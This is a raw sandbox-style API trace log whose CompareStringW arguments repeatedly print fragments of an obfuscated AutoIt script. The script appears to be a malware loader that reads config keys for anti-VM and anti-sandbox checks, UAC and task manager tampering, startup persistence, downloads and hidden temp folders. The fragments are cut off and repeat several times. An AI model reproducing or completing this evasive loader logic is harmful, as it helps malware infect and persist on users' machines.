$FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptD", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDi", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 